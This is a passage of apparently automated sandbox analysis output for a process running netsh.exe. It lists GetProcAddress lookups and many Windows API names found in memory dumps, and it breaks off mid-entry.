WakeConditionVariable (UID: 00000000-00007396) "netsh.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00007396) "netsh.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00007396) "netsh.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00007396) "netsh.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00007396) "netsh.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00007396) "netsh.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00007396) "netsh.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00007396) "netsh.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00007396) "netsh.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00007396) "netsh.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00007396) "netsh.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00007396) "netsh.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00007396) "netsh.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00007396) "netsh.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00007396) "netsh.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00007396) "netsh.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00007396) "netsh.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00007396) "netsh.exe" called "GetProcAddress" with a parameter CoGetInstanceFromFile (UID: 00000000-00007396) "netsh.exe" called "GetProcAddress" with a parameter CoGetInstanceFromIStorage (UID: 00000000-00007396) "netsh.exe" called "GetProcAddress" with a parameter NtQuerySystemInformation (UID: 00000000-00007396) "netsh.exe" called "GetProcAddress" with a parameter CoInitializeEx (UID: 00000000-00007396) "netsh.exe" called "GetProcAddress" with a parameter CoUninitialize (UID: 00000000-00007396)35:Ta7bc,Found reference to API (Indicator: "InitializeConditionVariable"; Source: "00000000-00004040.00000000.152403.26652000.00000002.mdmp, 00000000-00004040.00000000.152403.73C8A000.00000002.mdmp, 00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "SleepConditionVariableCS"; Source: "00000000-00004040.00000000.152403.26652000.00000002.mdmp, 00000000-00004040.00000000.152403.73C8A000.00000002.mdmp, 00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "WakeAllConditionVariable"; Source: "00000000-00004040.00000000.152403.26652000.00000002.mdmp, 00000000-00004040.00000000.152403.73C8A000.00000002.mdmp, 00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "EventRegister"; Source: "00000000-00004040.00000000.152403.26652000.00000002.mdmp, 00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "EventUnregister"; Source: "00000000-00004040.00000000.152403.26652000.00000002.mdmp, 00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoSizeExW"; Source: "00000000-00004040.00000000.152403.26652000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoSizeW"; Source: "00000000-00004040.00000000.152403.26652000.00000002.mdmp, 00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoW"; Source: "00000000-00004040.00000000.152403.26652000.00000002.mdmp, 00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoExW"; Source: "00000000-00004040.00000000.152403.26652000.00000002.mdmp, 00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "VerQueryValueW"; Source: "00000000-00004040.00000000.152403.26652000.00000002.mdmp, 00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimePreciseAsFileTime"; Source: "00000000-00004040.00000000.152403.26652000.00000002.mdmp, 00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "DeleteCriticalSection"; Source: "00000000-00004040.00000000.152403.26652000.00000002.mdmp, 00000000-00004040.00000000.152403.73C8A000.00000002.mdmp, 00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "RaiseException"; Source: "00000000-00004040.00000000.152403.26652000.00000002.mdmp, 00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "InitializeCriticalSection"; Source: "00000000-00004040.00000000.152403.26652000.00000002.mdmp, 00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "EnterCriticalSection"; Source: "00000000-00004040.00000000.152403.26652000.00000002.mdmp, 00000000-00004040.00000000.152403.73C8A000.00000002.mdmp, 00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "LeaveCriticalSection"; Source: "00000000-00004040.00000000.152403.26652000.00000002.mdmp, 00000000-00004040.00000000.152403.73C8A000.00000002.mdmp, 00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "CloseHandle"; Source: "00000000-00004040.00000000.152403.26652000.00000002.mdmp, 00000000-00004040.00000000.152403.73C8A000.00000002.mdmp, 00000000-00004040.00000001.153030.12058000.00000002.mdmp, 00000000-00004040.00000001.153030.9C6B0000.00000004.mdmp") Found reference to API (Indicator: "LoadLibraryExW"; Source: "00000000-00004040.00000000.152403.26652000.00000002.mdmp, 00000000-00004040.00000000.152403.73C8A000.00000002.mdmp, 00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "FreeLibrary"; Source: "00000000-00004040.00000000.152403.26652000.00000002.mdmp, 00000000-00004040.00000000.152403.73C8A000.00000002.mdmp, 00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcessId"; Source: "00000000-00004040.00000000.152403.26652000.00000002.mdmp, 00000000-00004040.00000000.152403.73C8A000.00000002.mdmp, 00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "GetProcessTimes"; Source: "00000000-00004040.00000000.152403.26652000.00000002.mdmp, 00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "GetLastError"; Source: "00000000-00004040.00000000.152403.26652000.00000002.mdmp, 00000000-00004040.00000000.152403.73C8A000.00000002.mdmp, 00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "Sleep"; Source: "00000000-00004040.00000000.152403.26652000.00000002.mdmp, 00000000-00004040.00000000.152403.73C8A000.00000002.mdmp, 00000000-00004040.00000001.153030.12058000.00000002.mdmp, 00000000-00004040.00000001.153030.9C6B0000.00000004.mdmp") Found reference to API (Indicator: "GetVersionExW"; Source: "00000000-00004040.00000000.152403.26652000.00000002.mdmp, 00000000-00004040.00000000.152403.73C8A000.00000002.mdmp, 00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "QueryPerformanceCounter"; Source: "00000000-00004040.00000000.152403.26652000.00000002.mdmp, 00000000-00004040.00000000.152403.73C8A000.00000002.mdmp, 00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentThreadId"; Source: "00000000-00004040.00000000.152403.26652000.00000002.mdmp, 00000000-00004040.00000000.152403.73C8A000.00000002.mdmp, 00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00004040.00000000.152403.26652000.00000002.mdmp, 00000000-00004040.00000000.152403.73C8A000.00000002.mdmp, 00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "GetTickCount"; Source: "00000000-00004040.00000000.152403.26652000.00000002.mdmp, 00000000-00004040.00000000.152403.73C8A000.00000002.mdmp, 00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "RtlCaptureContext"; Source: "00000000-00004040.00000000.152403.26652000.00000002.mdmp, 00000000-00004040.00000000.152403.73C8A000.00000002.mdmp, 00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "RtlLookupFunctionEntry"; Source: "00000000-00004040.00000000.152403.26652000.00000002.mdmp, 00000000-00004040.00000000.152403.73C8A000.00000002.mdmp, 00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "RtlVirtualUnwind"; Source: "00000000-00004040.00000000.152403.26652000.00000002.mdmp, 00000000-00004040.00000000.152403.73C8A000.00000002.mdmp, 00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "UnhandledExceptionFilter"; Source: "00000000-00004040.00000000.152403.26652000.00000002.mdmp, 00000000-00004040.00000000.152403.73C8A000.00000002.mdmp, 00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; Source: "00000000-00004040.00000000.152403.26652000.00000002.mdmp, 00000000-00004040.00000000.152403.73C8A000.00000002.mdmp, 00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcess"; Source: "00000000-00004040.00000000.152403.26652000.00000002.mdmp, 00000000-00004040.00000000.152403.73C8A000.00000002.mdmp, 00000000-00004040.00000001.153030.12058000.00000002.mdmp, 00000000-00004040.00000001.153030.9C6B0000.00000004.mdmp, 00000000-00004040.00000001.153030.B4740000.00000004.mdmp") Found reference to API (Indicator: "TerminateProcess"; Source: "00000000-00004040.00000000.152403.26652000.00000002.mdmp, 00000000-00004040.00000000.152403.73C8A000.00000002.mdmp, 00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleExW"; Source: "00000000-00004040.00000000.152403.26652000.00000002.mdmp, 00000000-00004040.00000000.152403.73C8A000.00000002.mdmp, 00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "GetProcAddress"; Source: "00000000-00004040.00000000.152403.26652000.00000002.mdmp, 00000000-00004040.00000000.152403.73C8A000.00000002.mdmp, 00000000-00004040.00000001.153030.12058000.00000002.mdmp, 00000000-00004040.00000001.153030.9C6B0000.00000004.mdmp") Found reference to API (Indicator: "CoCreateInstance"; Source: "00000000-00004040.00000000.152403.26652000.00000002.mdmp, 00000000-00004040.00000000.152403.73C8A000.00000002.mdmp, 00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "CoTaskMemFree"; Source: "00000000-00004040.00000000.152403.26652000.00000002.mdmp") Found reference to API (Indicator: "StringFromGUID2"; Source: "00000000-00004040.00000000.152403.26652000.00000002.mdmp") Found reference to API (Indicator: "InitializeCriticalSectionAndSpinCount"; Source: "00000000-00004040.00000000.152403.26652000.00000002.mdmp, 00000000-00004040.00000000.152403.73C8A000.00000002.mdmp, 00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "GetFileSizeEx"; Source: "00000000-00004040.00000000.152403.26652000.00000002.mdmp, 00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "SetLastError"; Source: "00000000-00004040.00000000.152403.26652000.00000002.mdmp, 00000000-00004040.00000000.152403.73C8A000.00000002.mdmp, 00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "WriteFile"; Source: "00000000-00004040.00000000.152403.26652000.00000002.mdmp, 00000000-00004040.00000000.152403.73C8A000.00000002.mdmp, 00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "GetModuleFileNameW"; Source: "00000000-00004040.00000000.152403.26652000.00000002.mdmp, 00000000-00004040.00000000.152403.73C8A000.00000002.mdmp, 00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "GetTempPathW"; Source: "00000000-00004040.00000000.152403.26652000.00000002.mdmp") Found reference to API (Indicator: "CreateFileW"; Source: "00000000-00004040.00000000.152403.26652000.00000002.mdmp, 00000000-00004040.00000000.152403.73C8A000.00000002.mdmp, 00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "GetFileAttributesW"; Source: "00000000-00004040.00000000.152403.26652000.00000002.mdmp, 00000000-00004040.00000000.152403.73C8A000.00000002.mdmp, 00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "GetSystemDirectoryW"; Source: "00000000-00004040.00000000.152403.26652000.00000002.mdmp, 00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "CreateEventW"; Source: "00000000-00004040.00000000.152403.26652000.00000002.mdmp, 00000000-00004040.00000000.152403.73C8A000.00000002.mdmp, 00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleW"; Source: "00000000-00004040.00000000.152403.26652000.00000002.mdmp, 00000000-00004040.00000000.152403.73C8A000.00000002.mdmp, 00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "DisableThreadLibraryCalls"; Source: "00000000-00004040.00000000.152403.26652000.00000002.mdmp, 00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "EncodePointer"; Source: "00000000-00004040.00000000.152403.26652000.00000002.mdmp, 00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "DecodePointer"; Source: "00000000-00004040.00000000.152403.26652000.00000002.mdmp, 00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "IsDebuggerPresent"; Source: "00000000-00004040.00000000.152403.26652000.00000002.mdmp, 00000000-00004040.00000000.152403.73C8A000.00000002.mdmp, 00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "IsProcessorFeaturePresent"; Source: "00000000-00004040.00000000.152403.26652000.00000002.mdmp, 00000000-00004040.00000000.152403.73C8A000.00000002.mdmp, 00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "CoTaskMemAlloc"; Source: "00000000-00004040.00000000.152403.26652000.00000002.mdmp, 00000000-00004040.00000000.152403.73C8A000.00000002.mdmp") Found reference to API (Indicator: "SizeofResource"; Source: "00000000-00004040.00000000.152403.26652000.00000002.mdmp, 00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "LockResource"; Source: "00000000-00004040.00000000.152403.26652000.00000002.mdmp, 00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "LoadResource"; Source: "00000000-00004040.00000000.152403.26652000.00000002.mdmp, 00000000-00004040.00000000.152403.73C8A000.00000002.mdmp, 00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "FindResourceW"; Source: "00000000-00004040.00000000.152403.26652000.00000002.mdmp, 00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "HeapFree"; Source: "00000000-00004040.00000000.152403.26652000.00000002.mdmp, 00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "HeapAlloc"; Source: "00000000-00004040.00000000.152403.26652000.00000002.mdmp, 00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "GetProcessHeap"; Source: "00000000-00004040.00000000.152403.26652000.00000002.mdmp, 00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "RtlGetVersion"; Source: "00000000-00004040.00000000.152403.26652000.00000002.mdmp, 00000000-00004040.00000001.153030.12058000.00000002.mdmp, 00000000-00004040.00000001.153030.9C6B0000.00000004.mdmp") Found reference to API (Indicator: "RtlNtStatusToDosError"; Source: "00000000-00004040.00000000.152403.26652000.00000002.mdmp, 00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "GetStartupInfoW"; Source: "00000000-00004040.00000000.152403.73C8A000.00000002.mdmp") Found reference to API (Indicator: "FindFirstFileW"; Source: "00000000-00004040.00000000.152403.73C8A000.00000002.mdmp, 00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "RegQueryValueExW"; Source: "00000000-00004040.00000000.152403.73C8A000.00000002.mdmp, 00000000-00004040.00000001.153030.12058000.00000002.mdmp, 00000000-00004040.00000001.153030.9C6B0000.00000004.mdmp") Found reference to API (Indicator: "CoInitialize"; Source: "00000000-00004040.00000000.152403.73C8A000.00000002.mdmp") Found reference to API (Indicator: "CompareStringW"; Source: "00000000-00004040.00000000.152403.73C8A000.00000002.mdmp") Found reference to API (Indicator: "GetStdHandle"; Source: "00000000-00004040.00000000.152403.73C8A000.00000002.mdmp") Found reference to API (Indicator: "ExpandEnvironmentStringsW"; Source: "00000000-00004040.00000000.152403.73C8A000.00000002.mdmp, 00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "CoUninitialize"; Source: "00000000-00004040.00000000.152403.73C8A000.00000002.mdmp, 00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "SetThreadUILanguage"; Source: "00000000-00004040.00000000.152403.73C8A000.00000002.mdmp") Found reference to API (Indicator: "RegGetValueW"; Source: "00000000-00004040.00000000.152403.73C8A000.00000002.mdmp") Found reference to API (Indicator: "RegOpenKeyExW"; Source: "00000000-00004040.00000000.152403.73C8A000.00000002.mdmp, 00000000-00004040.00000001.153030.12058000.00000002.mdmp, 00000000-00004040.00000001.153030.9C6B0000.00000004.mdmp") Found reference to API (Indicator: "FindClose"; Source: "00000000-00004040.00000000.152403.73C8A000.00000002.mdmp, 00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "FormatMessageW"; Source: "00000000-00004040.00000000.152403.73C8A000.00000002.mdmp, 00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "LoadStringW"; Source: "00000000-00004040.00000000.152403.73C8A000.00000002.mdmp, 00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "WriteConsoleW"; Source: "00000000-00004040.00000000.152403.73C8A000.00000002.mdmp") Found reference to API (Indicator: "LocalFree"; Source: "00000000-00004040.00000000.152403.73C8A000.00000002.mdmp, 00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "VerSetConditionMask"; Source: "00000000-00004040.00000000.152403.73C8A000.00000002.mdmp") Found reference to API (Indicator: "CoInitializeEx"; Source: "00000000-00004040.00000000.152403.73C8A000.00000002.mdmp, 00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "RegCloseKey"; Source: "00000000-00004040.00000000.152403.73C8A000.00000002.mdmp, 00000000-00004040.00000001.153030.12058000.00000002.mdmp, 00000000-00004040.00000001.153030.9C6B0000.00000004.mdmp") Found reference to API (Indicator: "VerifyVersionInfoW"; Source: "00000000-00004040.00000000.152403.73C8A000.00000002.mdmp") Found reference to API (Indicator: "GetFileType"; Source: "00000000-00004040.00000000.152403.73C8A000.00000002.mdmp") Found reference to API (Indicator: "SetConsoleTitleW"; Source: "00000000-00004040.00000000.152403.73C8A000.00000002.mdmp") Found reference to API (Indicator: "IsWow64Process"; Source: "00000000-00004040.00000000.152403.73C8A000.00000002.mdmp, 00000000-00004040.00000001.153030.12058000.00000002.mdmp, 00000000-00004040.00000001.153030.9C6B0000.00000004.mdmp") Found reference to API (Indicator: "SetEvent"; Source: "00000000-00004040.00000000.152403.73C8A000.00000002.mdmp, 00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "ResetEvent"; Source: "00000000-00004040.00000000.152403.73C8A000.00000002.mdmp, 00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "WaitForSingleObjectEx"; Source: "00000000-00004040.00000000.152403.73C8A000.00000002.mdmp, 00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "SearchPathW"; Source: "00000000-00004040.00000000.152403.73C8A000.00000002.mdmp") Found reference to API (Indicator: "GetSystemDefaultUILanguage"; Source: "00000000-00004040.00000000.152403.73C8A000.00000002.mdmp") Found reference to API (Indicator: "GetUserDefaultUILanguage"; Source: "00000000-00004040.00000000.152403.73C8A000.00000002.mdmp") Found reference to API (Indicator: "GetLocaleInfoW"; Source: "00000000-00004040.00000000.152403.73C8A000.00000002.mdmp") Found reference to API (Indicator: "UnmapViewOfFile"; Source: "00000000-00004040.00000000.152403.73C8A000.00000002.mdmp, 00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "FindResourceExW"; Source: "00000000-00004040.00000000.152403.73C8A000.00000002.mdmp") Found reference to API (Indicator: "CreateFileMappingW"; Source: "00000000-00004040.00000000.152403.73C8A000.00000002.mdmp, 00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "MapViewOfFile"; Source: "00000000-00004040.00000000.152403.73C8A000.00000002.mdmp, 00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "SetErrorMode"; Source: "00000000-00004040.00000000.152403.73C8A000.00000002.mdmp") Found reference to API (Indicator: "RegEnumKeyExW"; Source: "00000000-00004040.00000000.152403.73C8A000.00000002.mdmp, 00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "SeDebugPrivilege"; Source: "00000000-00004040.00000000.152403.9C100000.00000004.mdmp") Found reference to API (Indicator: "EventWrite"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "InstallELAMCertificateInfo"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "WSACleanup"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "WSAStartup"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "GetFinalPathNameByHandleW"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "BCryptGetProperty"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "BCryptDestroyHash"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "BCryptCreateHash"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "BCryptFinishHash"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "BCryptHashData"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "BCryptOpenAlgorithmProvider"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "BCryptGenRandom"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "BCryptCloseAlgorithmProvider"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "CryptDestroyHash"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "CryptCreateHash"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "CryptGetHashParam"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "CryptHashData"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "CryptReleaseContext"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "CryptAcquireContextW"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "CryptGenRandom"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "SHGetFolderPathW"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "CryptCATAdminCalcHashFromFileHandle"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "CryptCATAdminAcquireContext"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "CryptCATAdminEnumCatalogFromHash"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "CryptCATAdminReleaseContext"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "RpcBindingFromStringBindingW"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "RpcBindingSetAuthInfoExW"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "RpcBindingSetOption"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "RpcBindingFree"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "RpcSmDestroyClientContext"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "RpcStringFreeW"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "RpcStringBindingComposeW"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "DebugBreak"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "WaitForSingleObject"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "CreateMutexW"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "WaitForMultipleObjects"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "ReleaseMutex"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "GetFileAttributesExW"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "CreateThread"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "UnregisterWaitEx"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "RegisterWaitForSingleObject"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "OpenProcess"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "SwitchToThread"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "DeleteFileW"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "FlushViewOfFile"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "FlushFileBuffers"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "DeleteTimerQueueTimer"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "CreateDirectoryW"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "FindNextFileW"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryW"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "GetSystemInfo"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "InitializeCriticalSectionEx"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "SystemTimeToFileTime"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "LocalFileTimeToFileTime"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "CompareFileTime"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "GetEnvironmentVariableW"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "GetLocalTime"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentThread"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "SetFileAttributesW"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp, 00000000-00004040.00000001.153030.9C6B0000.00000004.mdmp") Found reference to API (Indicator: "RemoveDirectoryW"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "CopyFileW"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "GetTickCount64"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "OpenServiceW"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "QueryServiceStatus"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "CloseServiceHandle"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "OpenSCManagerW"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "QueryServiceConfigW"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "LookupAccountSidW"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "GetLengthSid"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "CopySid"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "ReportEventW"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "RegisterEventSourceW"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "OpenProcessToken"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "ConvertStringSidToSidW"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference to API (Indicator: "DeregisterEventSource"; Source: "00000000-00004040.00000001.153030.12058000.00000002.mdmp") Found reference 